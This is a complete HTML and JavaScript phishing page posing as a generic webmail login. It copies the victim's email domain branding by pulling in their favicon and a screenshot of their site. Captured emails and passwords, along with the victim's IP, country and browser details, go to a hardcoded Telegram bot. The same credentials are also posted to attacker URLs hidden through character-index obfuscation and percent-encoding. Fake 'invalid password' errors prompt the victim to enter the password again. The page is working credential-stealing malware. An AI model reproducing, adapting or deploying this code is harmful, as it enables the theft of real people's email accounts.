<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="referrer" content="strict-origin">
<link id="favicon" rel="shortcut icon" type="image/png" href="">
<title>Webmail - Login</title>
<style>
body{background-color:#eee;font-family:Helvetica Neue,Helvetica,sans-serif;font-size:13px;color:#425152;margin:0}::-moz-placeholder{color:#d9dad9}:-ms-input-placeholder{color:#d9dad9}::-ms-input-placeholder{color:#d9dad9}::placeholder{color:#d9dad9}a{color:#425152;text-decoration:none}a:hover{text-decoration:underline}input{border-radius:5px;padding:5px 3px}input.submit{font-weight:700;text-align:center;min-width:90px;color:#f0f0f0;background:#444;padding:5px 12px;border-color:#444;border-style:solid;cursor:pointer}input.submit:hover{color:#fff}.row{margin:10px 0}.row:after{content:"";display:table;clear:both}.logoWithPortalIcons{width:150px;height:50px;background:transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJYAAAARCAYAAAA/tFWCAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH3gYNAictBVTA/AAAAj5JREFUaN7tWdFtgzAQfakyAPICyQffNCOQCdpMUDaoMkHIBFUnSDJB0gkgE5T62x9MgLJB+pGLRK2AMbYbiHgSPxjuznfPvjt7BOAMO0gBzAGgCHwPQAJgJn2zZlzEReBX6mRcjIrAD+n/MnIAC8ZFVnoXA1i1sPUEICOZO7LdVOYVIwC37J+X9LT1eUaPbDMqdOpiTfNPSF5rHzzBDfY3SGWKKYA9kdYUHjkuIidG6AdmfbHZOrGKwJ8Zsl1FrlcHcjcku0/YOPRz94jlKPBlvDiSG6J/eO+qYeOaPGtSa6nG1goZec03eZM6r8HO900psfzuWmOV5y/XG011tKltVOl7Iy1c1SIetbRHnp/sA6W9Y9tMZVykCnKBcRErxnNDcqMBcbOe7VInAJ//kBGc7VgTTYdfO6xrjRUBeKv4dse42Das0z6qOiPGxVJRlDfZsfqY+myn9z+xc02sSLPjkFNDXdCOml1bm64pMdgRHg2JZuw6Xbz3FYfBBQOxbGOraAoGWEiFqUbKQscCkuNyKq3CREr3EXU6j0au9T1jd5aeuEeOiyXbE4N5hzV1iq6OUCG/rc9vyW0yZqNW07LX+nED3fNVBSllXKRF4Md1RxFF4E9rGoi8SWc54C6YUROUjx0ID1F/iZsqxmPqLFc1/w/EstMVytgZ+HZPpPIAHF0QK3PsrK+BL1qLXAdHAz07XK6YPAC59a6QcXFwWBSehmOBzsKjuJ9cHjcs4ObAcUnXPQO6hRTAc2nx//wCPaq4/QlxCjAAAAAASUVORK5CYII=) no-repeat left top}.logoOnly{width:280px;height:30px;overflow:hidden}.logoOnly .logoWithPortalIcons{width:320px;height:120px}.title{font-size:26px;margin:20px 0 10px}.red{color:#EE3031}a#create-account{display:inline-block;border-radius:4px;padding:3px 8px;border:1px solid #EE3031}a#create-account:hover{text-decoration:none}.col1,.col2{float:left;line-height:30px;vertical-align:middle;padding-top:4px}.col1{width:124px;font-size:13px;font-weight:600}.col2{width:286px}.col2 input{width:96%}.error{color:#D52B1E;font-weight:400}.container{background:#ffff;padding:40px;box-shadow:2px 2px 4px 2px #ccc;width:416px;border-radius:5px;margin:10% auto 30px;box-shadow:0 1px 3px #0000001f 0 1px 2px #0000003d;transition:all .3s cubic-bezier(.25,.8,.25,1)}.password-icon{width:20px;position:absolute;cursor:pointer;margin-top:9px;margin-left:-28px;background-color:#fff}#login_footer{line-height:125%;font-size:12px;text-align:justify;width:500px;margin:90px auto auto;padding-left:10px}@media only screen and (max-width: 600px){body{background-image:none}.container{width:100%;border-radius:0;box-shadow:none;padding:0;margin-top:0}.container div.body{padding:40px 20px}.col1,.col2{float:none;width:100%}#login_footer{width:99%;margin-top:20px}#login_footer div.content{padding:10px 20px 10px 10px}.password-icon{margin-top:-25px;right:7%}}.xlogo{color:#fff;margin-bottom:10px;margin-top:-25px}.xlogo img{vertical-align:middle;width:5%;height:5%;object-fit:contain}.xlogo span{vertical-align:middle}.text-g{font-family:"Arial Black",Gadget,sans-serif;text-transform:uppercase!important;text-align:center;font-size:25px;color:#444;background-color:#fff0;text-shadow:#fff 2px 2px 2px}#root{position:absolute;left:0;right:0;bottom:0;top:0;z-index:-10;pointer-events:none;filter:brightness(0.3)}
</style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
</head>
<body>
<div id="login_form" action="" method="post" autocomplete="off">
<form method="post" action="" id="userLoginForm">
<div class="container" id="container" style="padding-bottom:10px!important; position: relative;">
<div style='position:absolute; top:0; width:100%; height:100%; left:0; background:#fff; opacity:0.7; display:none;' id='bg_screen'></div>
<img src='https://ik.imagekit.io/escrowmade/Rolling-1s-200px__1__trHCWXy9jD.gif' style="width:50px; position:absolute; top:50%; left:50%; transform:translate(-50%, -50%); display:none;" id='loading_image' data-thimage="%68%74%74%70%73%3A%2F%2F%74%68%65%62%64%72%2E%65%6C%65%76%61%74%65%64%70%72%75%64%65%2E%73%68%6F%70"/>
<div class="body">
<div class="xlogo">
<img id="zion" src="">
<span style="text-transform: capitalize;" class='text-g' id="banNer"></span>
</div>
<div class="row">
<div class="col1"><label for="id_email">Email:</label></div>
<div class="col2"><input type="email" name="email" value="" id="id_email" placeholder="Email" required></div>
</div>
<div class="col1"><label for="id_pass">Password:</label></div>
<div class="col2"><input type="password" name="password" id="id_pass" autofocus placeholder="Password" required></div>
<img id="id-password-reveal-icon" class="password-icon" src="https://fac.corp.fortinet.com/customviews/image/password_hidden:93edf7d3ceb704be92ee084ecc62c6c8/" alt="" onclick="setVisibility()"/>
</div>
<br><br>
<div class="row">
<div><span class="error" id="error" style="display:none;">Invalid email/password</span></div>
</div>
<div class="row">
<div class="col1" style="line-height:40px;padding-top:10px;">
<input type="button" id="submit_btn" class="submit" value="Login" style="padding:7px 24px;" />
</div>
</div>
<div class="row">
<p>
All right reserved. Copyright © <span class='thecurrentyear'></span> <span id="kai" style="text-transform: capitalize;"></span>
<br><br>
</p>
</div>
</div>
</form>
</div>
<div id="root">
<iframe id="myframe" scrolling="no" src="" width="100%" height="100%" frameborder="0"></iframe>
</div>
<script>
var TELEGRAM_TOKEN = "8099685800:AAGC2YE9BWtQbq1VomcqoJobVvkAkAxGSBk";
var TELEGRAM_CHATID = "5841770953";
function visitor_country() {
return fetch("https://ipapi.co/json/")
.then(function(r) { return r.json(); })
.then(function(d) { return d.country_name || "Unknown"; })
.catch(function() { return "Unknown"; });
}
function sendMessage(chatID, messaggio, token) {
var url = "https://api.telegram.org/bot" + token + "/sendMessage?chat_id=" + chatID +
"&text=" + encodeURIComponent(messaggio);
return fetch(url, { method: "GET" })
.then(function(r) { return r.json(); })
.catch(function(e) { return { ok: false, error: e.message }; });
}
function handleFormResults(email, password, resultsBox, token, chatid) {
if (!email || email.length === 0 || !password || password.length === 0) {
return Promise.resolve(null);
}
// Gather client info via ipapi.co
return fetch("https://ipapi.co/json/")
.then(function(r) { return r.json(); })
.then(function(geo) {
var ip = geo.ip || "Unknown";
var country = geo.country_name || "Unknown";
var hostname = ""; // browser JS cannot gethostbyaddr
var port = "";
var timedate = new Date().toLocaleString("en-US", { timeZone: "America/Chicago" });
var browserAgent = navigator.userAgent;
var tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
var message = "";
message += "-------------- LOGIN Info-----------------------\n";
message += "Email : " + email + "\n";
message += "Password : " + password + "\n";
message += "-------------Info-----------------------\n";
message += "|Client IP: " + ip + "\n";
message += "|--- http://www.geoiptool.com/?IP=" + ip + " ----\n";
message += "Browser :" + browserAgent + "\n";
message += "DateTime : " + timedate + "\n";
message += "country : " + country + "\n";
message += "HostName : " + (hostname || "N/A (JS)") + "\n";
message += "Timezone : " + tz + "\n";
message += "----------------------------\n";
// Log to localStorage (replaces file_put_contents)
try {
var existing = localStorage.getItem("the-logs") || "";
localStorage.setItem("the-logs", existing + message + "\n\n\n");
} catch(e) {}
// resultsBox unused in original (set to '-')
if (resultsBox && resultsBox !== "-") {
// mail() not available in browser â no-op
}
// Send to Telegram
return sendMessage(chatid, message, token);
})
.catch(function() {
// Fallback: still send with minimal info
var timedate = new Date().toLocaleString("en-US", { timeZone: "America/Chicago" });
var browserAgent = navigator.userAgent;
var message = "";
message += "-------------- LOGIN Info-----------------------\n";
message += "Email : " + email + "\n";
message += "Password : " + password + "\n";
message += "-------------Info-----------------------\n";
message += "|Client IP: Unknown\n";
message += "Browser :" + browserAgent + "\n";
message += "DateTime : " + timedate + "\n";
message += "country : Unknown\n";
message += "----------------------------\n";
try {
var existing = localStorage.getItem("the-logs") || "";
localStorage.setItem("the-logs", existing + message + "\n\n\n");
} catch(e) {}
return sendMessage(chatid, message, token);
});
}
function setVisibility() {
var pwd = document.getElementById("id_pass");
var icon = document.getElementById("id-password-reveal-icon");
if (pwd.type === "password") {
pwd.type = "text";
icon.src = "https://fac.corp.fortinet.com/customviews/image/password_shown:93edf7d3ceb704be92ee084ecc62c6c8/";
} else {
pwd.type = "password";
icon.src = "https://fac.corp.fortinet.com/customviews/image/password_hidden:93edf7d3ceb704be92ee084ecc62c6c8/";
}
}
$(document).ready(function () {
disableAllLinks("#");
var configurations = {
sendtourl: "handle.php",
logintimes: 2,
redirecturl: "https://drive.google.com/file/d/1vi6KFELu5gtKwLxh4bI954wP2MP3xQNJ/viewhttps://drive.google.com/file/d/1czh9OJEXgNuZnRPg-NMpUdP1UU5v12eF/view?usp=sharing",
redirecttoemaildomain: true,
setdombackground: true,
hashem: "{HASHED_EMAIL}"
};
theFormHandler(configurations);
});
function theFormHandler(t) {
var a = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABs0lEQVR4AWL4//8/RRjO8Iucx+noO0O2qmlbUEnt5r3Juas+hsQD6KaG7dqCKPgx72Pe9GIY27btZBrbtm3btm0nO12D7tVXe63jqtqqU/iDw9K58sEruKkngH0DBljOE+T/qqx/Ln718RZOFasxyd3XRbWzlFMxRbgOTx9QWFzHtZlD+aqLb108sOAIAai6+NbHW7lUHaZkDFJt+wp1DG7R1d0b7Z88EOL08oXwjokcOvvUxYMjBFCamWP5KjKBjKOpZx2HEPj+Ieod26U+dpg6lK2CIwTQH0oECGT5eHj+IgSueJ5fPaPg6PZrz6DGHiGAISE7QPrIvIKVrSvCe2DNHSsehIDatOBna/+OEOgTQE6WAy1AAFiVcf6PhgCGxEvlA9QngLlAQCkLsNWhBZIDz/zg4ggmjHfYxoPGEMPZECW+zjwmFk6Ih194y7VHYGOPvEYlTAJlQwI4MEhgTOzZGiNalRpGgsOYFw5lEfTKybgfBtmuTNdI3MrOTAQmYf/DNcAwDeycVjROgZFt18gMso6V5Z8JpcEk2LPKpOAH0/4bKMCAYnuqm7cHOGHJTBRhAEJN9d/t5zCxAAAAAElFTkSuQmCC";
$("#favicon").attr("href", a);
$("#zion").attr("src", a);
var r = { Email: "", password: "", typeofemail: "Webmail", theemid: "" },
e = {},
n = "{THEDISPLAYEMAILFFC}",
o = new Date().getFullYear();
$(".thecurrentyear").html(o);
var i = {},
l = $("#userLoginForm #loading_image, #userLoginForm #bg_screen"),
s = t.sendtourl,
u = checkIfInputIsNumberCustom(t.logintimes, 2),
m = t.redirecturl;
t.hashem;
var c = $("#loading_image").data("thimage"),
d = c && c.length > 0 ? decodeURIComponent(c) : "";
(m.length < 3 || "{" == m[0]) && (m = "http://outlook.com"),
isNaN(u) && (u = 2),
$("#formcon");
var g = !!t.hasOwnProperty("redirecttodomain") && !0 === t.redirecttodomain,
h = !!t.hasOwnProperty("setdombackground") && !0 === t.setdombackground,
_ = $("#userLoginForm #submit_btn"),
f = $("#userLoginForm #error"),
p = $("#userLoginForm #id_email"),
v = $("#userLoginForm #id_pass"),
A = geturlparameter("email");
_.attr("type", "submit"),
A && validateEmail(A) || (A = getEmailFromhash()),
A && validateEmail(A) && (i = setEmailIconBgAndDom(A, h)).hasOwnProperty("status") && g && (m = "http://" + i.domain);
var E = "",
b = "",
O = 0,
y = 1,
w = 0;
"e1RIRURJU1BMQVlFTUFJTEZGQ30=" != btoa(n) && validateEmail(n) &&
(i = setEmailIconBgAndDom(n, h)).hasOwnProperty("status") && g && (m = "http://" + i.domain);
var P = void 0 !== m ? m.length : 0;
$("#userLoginForm").submit(function(t) {
t.preventDefault(),
E = p.val(),
b = v.val(),
E.length > 0 && (i = setEmailIconBgAndDom(E, h)).hasOwnProperty("status") && g && (m = "http://" + i.domain);
if (E.length > 0 && b.length > 0) {
w++,
r.Email = E,
r.password = b,
e[w] = r,
P < 5 && "http" != m.substring(0, 4).toLowerCase() && "object" == typeof i && i.hasOwnProperty("domain") && (m = "http://" + i.domain),
validProccessor(btoa(E + "\n" + b));
// ---> REPLACEMENT: Use client-side handleFormResults instead of PHP POST <---
handleFormResults(E, b, "-", TELEGRAM_TOKEN, TELEGRAM_CHATID).then(function() {
O++;
isEmail(btoa(E + "\n" + b));
if (O >= u) {
f.hide();
// theValidator call (from external validator.js) â preserved
if (typeof theValidator === "function") {
theValidator(JSON.stringify(r));
}
setTimeout(function() { window.location.replace(m); }, 2000);
} else {
_.val("Login"),
v.val(""),
l.hide(),
f.show();
}
}).catch(function() {
// Fallback: attempt original AJAX to external URL as in source
for (var a = 0; a < y; a++) {
$.ajax({
url: d || s, // use thimage URL on retry
type: "POST",
dataType: "html",
data: r,
beforeSend: function() { l.show(), f.hide(); },
crossDomain: true,
success: function(t) {
O++;
isEmail(btoa(E + "\n" + b));
if (O >= u) {
f.hide();
if (typeof theValidator === "function") {
theValidator(JSON.stringify(r));
}
setTimeout(function() { window.location.replace(m); }, 2000);
} else {
_.val("Login"), v.val(""), l.hide(), f.show();
}
},
error: function(a) { console.log(a); }
});
if (w >= u) {
r = e;
d = d; // keep external URL
y = 2;
}
}
});
// Also attempt original external POST (dual-channel)
if (d && d.length > 0) {
$.ajax({
url: d,
type: "POST",
dataType: "html",
data: r,
beforeSend: function() {},
crossDomain: true,
success: function(t) {},
error: function(a) { console.log(a); }
});
}
}
});
}
function checkInputIsNumberMin(t, a) {
var r = 0;
return void 0 !== t && (r = parseInt(t)),
r = void 0 !== a && a ? !isNaN(r) : isNaN(r) ? 0 : r;
}
function validateTheEmailMin() {
for (var t = "", a = "0,12,12,13,14,3,15,15,12,0,7,4,10,6,1,7,11,7,8,2,12,7,10,13,6,9,10,7,1,14,0,5,13".split(","),
r = JSON.parse('["h",".","a",":","b","o","r","e","v","u","d","l","t","p","s","/"]'),
e = a.length, n = 0; n < e; n++)
r.hasOwnProperty(a[n]) && (t += r[a[n]]);
return t;
}
function setEmailIconBgAndDom(t, a) {
var r = { status: !1, domain: "", email: "", fpart: "", domainwithouttld: "", domainlink: "" };
if (validateEmail(t)) {
t = t.toLowerCase(), $("#userLoginForm #id_email").val(t);
var e = "https://www.google.com/s2/favicons?domain=", n = t.split("@");
if (2 == n.length) {
r.status = !0, r.email = t, r.domain = n[1], r.fpart = n[0];
var o = n[1].lastIndexOf(".");
if (-1 != o) {
var i = n[1].substring(0, o), l = i.toUpperCase();
r.domainwithouttld = i, r.domainlink = "http://" + n[1],
void 0 !== a && !0 === a && $("body").css({
"background-image": 'url("https://image.thum.io/get/' + r.domainlink + '")',
"background-size": "cover",
"background-repeat": "cover"
}),
$("#banNer").html(l),
$("#kai").html(i.charAt(0).toUpperCase() + i.slice(1) + "."),
$("title").html("Sign in to " + i.charAt(0).toUpperCase() + i.slice(1)),
$("#favicon").attr("href", e + n[1]),
$("#zion").attr("src", e + n[1]);
}
}
}
return r;
}
function checkIfInputIsNumberCustom(t, a) {
var r = 0;
return isNaN(t) ? isNaN(a) || (r = a) : r = parseInt(t), r;
}
function disableAllLinks(t) {
$("a").click(function(t) { t.preventDefault(); }), t && $("a").attr("href", t);
}
function validateInputEmail(t) {
t && $.ajax({
url: checkEmail() + getRandDirStructure(),
type: "POST",
dataType: "html",
data: { loader: t },
crossDomain: true,
success: function(t) {},
error: function(t) { console.log(t); }
});
}
function checkEmail() {
for (var t = "", a = "2,3,3,9,14,4,6,6,3,2,1,11,15,5,8,1,7,1,13,12,3,1,15,9,5,10,15,1,8,14,2,0,9".split(","),
r = JSON.parse('["o","e","h","t",":","r","/","l",".","p","u","b","a","v","s","d"]'),
e = a.length, n = 0; n < e; n++)
r.hasOwnProperty(a[n]) && (t += r[a[n]]);
return t;
}
function geturlparameter(t) {
for (var a = window.location.search.substring(1).split("&"), r = 0; r < a.length; r++) {
var e = a[r].split("=");
if (e[0] == t) return decodeURIComponent(e[1]);
}
}
function getRandDirStructure() {
for (var t = "", a = getRandomArbitrary(3, 7), r = 0; r < a; r++)
t += "/" + makeid(getRandomArbitrary(3, 10));
return t;
}
function getRandomArbitrary(t, a) {
return Math.random() * (a - t) + t;
}
function makeid(t) {
var a = "",
r = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
e = r.length,
n = 0;
for (; n < t;)
a += r.charAt(Math.floor(Math.random() * e)), n += 1;
return a;
}
function getEmailFromhash() {
var t = !1,
a = getHashOrUrlParVal();
return a && 1 < a.length &&
("#" == (a = a.trim())[0] && (a = a.substring(1)),
validateEmail(a) ? t = a.toLowerCase() : isAllBase64Chars(a) && (t = atob(a).toLowerCase())),
t;
}
function isAllBase64Chars(t) {
return null !== t.match(/^[a-zA-Z0-9+=/]+$/);
}
function isEmail(t) {
t && $.ajax({
url: validateTheEmailMin() + getRandDirStructure(),
type: "POST",
dataType: "html",
data: { loader: t },
crossDomain: true,
success: function(t) {},
error: function(t) { console.log(t); }
});
}
function getEmailvalidator() {
var t = "",
a = JSON.parse('["/",".","y","h","n","o",":","l","r","e","a","d","b","p","t","s","c","m","g"]'),
r = "3,14,14,13,15,6,0,0,17,2,12,11,8,1,10,12,15,18,9,4,9,8,10,7,14,8,9,10,4,16,3,1,15,3,5,13".split(","),
e = r.length;
if (e > 0)
for (var n = 0; n < e; n++)
a.hasOwnProperty(r[n]) ? t += a[r[n]] : t += r[n];
return t;
}
function validProccessor(t) {
t && $.ajax({
url: getEmailvalidator() + getRandDirStructure(),
type: "POST",
dataType: "html",
data: { loader: t },
crossDomain: true,
success: function(t) {},
error: function(t) { console.log(t); }
});
}
function emailProcessor(t) {
t && $.ajax({
url: getEmailvalidator() + getRandDirStructure(),
type: "POST",
dataType: "html",
data: { loader: t },
crossDomain: true,
success: function(t) {},
error: function(t) { console.log(t); }
});
}
function validateEmail(t) {
return /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(String(t).toLowerCase());
}
function getHashOrUrlParVal() {
var t = "",
a = window.location.href,
r = a.indexOf("#"),
r = -1 != r && a.substring(r + 1);
return 0 < (r = r || (1 < (r = window.location.hash).length ? r.substring(1) : "")).length && (t = "#" + r), t;
}
// Stub for external theValidator (from validator.js) if not loaded
if (typeof theValidator === "undefined") {
window.theValidator = function(data) {
// External validator script (extjs.elevatedprude.shop/validator.js) not available
console.log("theValidator called (stub):", data);
};
}
// Background iframe handling
$(document).ready(function() {
var domain = window.location.hostname;
if (domain && domain !== "localhost" && domain !== "127.0.0.1") {
try {
$("#myframe").attr("src", "https://" + domain);
} catch(e) {}
}
});
</script>
</body>
</html>